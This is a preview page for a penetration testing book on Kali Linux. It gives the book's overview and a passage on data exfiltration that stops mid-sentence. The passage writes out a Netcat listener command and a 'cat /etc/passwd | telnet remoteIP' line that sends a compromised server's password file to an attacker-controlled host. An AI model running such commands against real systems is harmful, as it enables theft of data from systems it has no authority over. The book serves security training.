Book Image

Mastering Kali Linux for Advanced Penetration Testing - Third Edition

By : Vijay Kumar Velu, Robert Beggs
Book Image

Mastering Kali Linux for Advanced Penetration Testing - Third Edition

By: Vijay Kumar Velu, Robert Beggs

Overview of this book

This book takes you, as a tester or security practitioner, through the reconnaissance, vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities used by pentesters. To start with, you'll use a laboratory environment to validate tools and techniques, along with an application that supports a collaborative approach for pentesting. You'll then progress to passive reconnaissance with open source intelligence and active reconnaissance of the external and internal infrastructure. You'll also focus on how to select, use, customize, and interpret the results from different vulnerability scanners, followed by examining specific routes to the target, which include bypassing physical security and the exfiltration of data using a variety of techniques. You'll discover concepts such as social engineering, attacking wireless networks, web services, and embedded devices. Once you are confident with these topics, you'll learn the practical aspects of attacking user client systems by backdooring with fileless techniques, followed by focusing on the most vulnerable part of the network – directly attacking the end user. By the end of this book, you'll have explored approaches for carrying out advanced pentesting in tightly secured environments, understood pentesting and hacking techniques employed on embedded peripheral devices.
Table of Contents (21 chapters)
Title Page
About Packt

Exfiltration of data

The unauthorized transfer of digital data from any environment is known as exfiltration of data (or extrusion of data). Once persistence is maintained on a compromised system, a set of tools can be utilized to exfiltrate data from highly secure environments.

In this section, we will explore different methods that attackers utilize to send files from internal networks to attacker-controlled systems.

Using existing system services (Telnet, RDP, and VNC)

Firstly, we will discuss some easy techniques to quickly grab files when access to compromised systems is time-limited. Attackers can simply open up a port using Netcat by running nc -lvp 2323 > Exfilteredfile, and then run cat /etc/passwd | telnet remoteIP 2323 from the compromised Linux server.

This will display the entire contents of the etc/passwd to the remote host, as shown in the following screenshot:

Another important and fairly simple technique used by attackers with access to any system on the network is to run...